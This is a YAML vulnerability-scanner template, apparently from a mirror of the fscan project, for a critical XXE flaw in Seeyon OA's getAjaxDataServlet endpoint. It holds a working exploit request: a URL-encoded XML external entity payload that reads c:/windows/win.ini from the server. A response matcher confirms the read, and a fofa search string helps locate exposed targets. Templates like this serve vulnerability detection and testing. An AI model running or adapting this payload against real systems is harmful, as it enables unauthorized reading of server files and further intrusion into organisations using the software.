mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
27 lines
1.2 KiB
YAML
27 lines
1.2 KiB
YAML
id: seeyon-getajaxdataservlet-xxe
|
|
|
|
info:
|
|
name: 致远OA getAjaxDataServlet XXE
|
|
author: Wen
|
|
severity: critical
|
|
verified: true
|
|
description: |
|
|
fofa: app="致远互联-OA"
|
|
tags: seeyon,oa,xxe
|
|
created: 2024/01/12
|
|
requires: [seeyon]
|
|
requires-mode: opportunistic
|
|
|
|
rules:
|
|
r0:
|
|
request:
|
|
method: POST
|
|
path: /seeyon/m-signature/RunSignature/run/getAjaxDataServlet
|
|
body: |
|
|
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%5D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
|
|
expression: |
|
|
(response.status == 200 || response.status == 206) &&
|
|
response.body.ibcontains(b"[fonts]") &&
|
|
response.body.ibcontains(b"[extensions]")
|
|
expression: r0()
|